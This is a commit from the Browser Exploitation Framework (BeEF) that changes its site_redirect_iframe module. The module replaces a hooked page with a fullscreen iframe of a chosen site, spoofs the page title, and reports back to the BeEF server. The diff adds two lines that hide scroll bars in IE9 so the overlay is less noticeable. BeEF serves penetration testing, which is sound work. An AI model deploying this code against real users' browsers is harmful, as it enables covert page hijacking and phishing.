Removed duplicate scroll bars when using commands->browser->site

redirect (iframe) in IE9



git-svn-id: https://beef.googlecode.com/svn/trunk@1267 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9

modules/browser/site_redirect_iframe/command.js

@@ -23,6 +23,8 @@ beef.execute(function() {
 	$j("iframe").remove();
 	
 	beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
+	document.body.scroll = "no";
+	document.documentElement.style.overflow = 'hidden';
 
 	setTimeout(function() { 
 		if(!sent) {